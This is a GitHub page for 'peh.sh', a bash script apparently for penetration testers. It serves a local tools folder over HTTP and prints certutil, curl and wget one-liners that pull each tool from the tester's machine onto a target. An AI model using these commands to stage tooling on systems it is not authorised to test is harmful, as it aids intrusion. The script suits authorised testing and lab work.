-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathpeh.sh
executable file
·89 lines (74 loc) · 2.15 KB
/
peh.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/bin/bash
function help() {
echo "Example: $0 -i tun0"
echo "Example: $0 --interface eth0 --port 80"
echo ""
echo " -h, --help"
echo " Prints this message."
echo " -i, --interface <INTERFACE>"
echo " Set on which interface to listen."
echo " -p, --port <PORT>"
echo " Set on which port to listen (default: 8000)."
echo ""
exit 1
}
PARSED_ARGUMENTS=$(getopt -a -n peh -o 'hi:p:' --long 'help,interface:,port:' -- "$@")
VALID_ARGUMENTS=$?
if [ "$VALID_ARGUMENTS" != "0" ]; then
help
fi
eval set -- "$PARSED_ARGUMENTS"
while :
do
case "$1" in
-h | --help) PRINT_HELP=1 ; shift ;;
-i | --interface) INTERFACE="$2" ; shift 2 ;;
-p | --port) PORT="$2"; shift 2 ;;
--) shift; break ;;
*) echo "Unexpected option: $1 - this should not happen."; PRINT_HELP=1; break ;;
esac
done
if [ "$PRINT_HELP" == "1" ]; then
help
fi
if [ "$INTERFACE" == "" ];then
echo "-i, --interface argument missing"
echo "Pick one of the following interfaces:"
ip a | grep ' mtu ' | cut -d' ' -f 2 | grep -v 'lo:' | cut -d: -f 1
exit 1
fi
if [ "$PORT" == "" ];then
LPORT=8000
else
LPORT=$PORT
fi
LHOST=$(ip a | grep "$INTERFACE" | grep inet | cut -d' ' -f 6 | cut -d'/' -f 1)
if [ "$LHOST" == "" ];then
echo "Cannot extract IP address from the current interface ($INTERFACE)."
echo "Pick one of the following interfaces:"
ip a | grep ' mtu ' | cut -d' ' -f 2 | grep -v 'lo:' | cut -d: -f 1
exit 1
fi
cd tools
echo "WINDOWS TOOLS:"
echo
for TOOL in $(ls w); do
TOOL_NAME=$(echo $TOOL | rev | cut -d'/' -f 1 | rev)
echo "certutil.exe -urlcache -split -f http://$LHOST:$LPORT/w/$TOOL_NAME $TOOL_NAME"
done
echo
echo
echo "LINUX TOOLS:"
echo
for TOOL in $(ls l); do
TOOL_NAME=$(echo $TOOL | rev | cut -d'/' -f 1 | rev)
echo "curl http://$LHOST:$LPORT/l/$TOOL_NAME > $TOOL_NAME || wget http://$LHOST:$LPORT/l/$TOOL_NAME"
done
echo
echo
if [ $LPORT -lt 1024 ]; then
echo "Port is less than 1024, you need to provide your password..."
sudo python3 -m http.server -b $LHOST $LPORT
else
python3 -m http.server -b $LHOST $LPORT
fi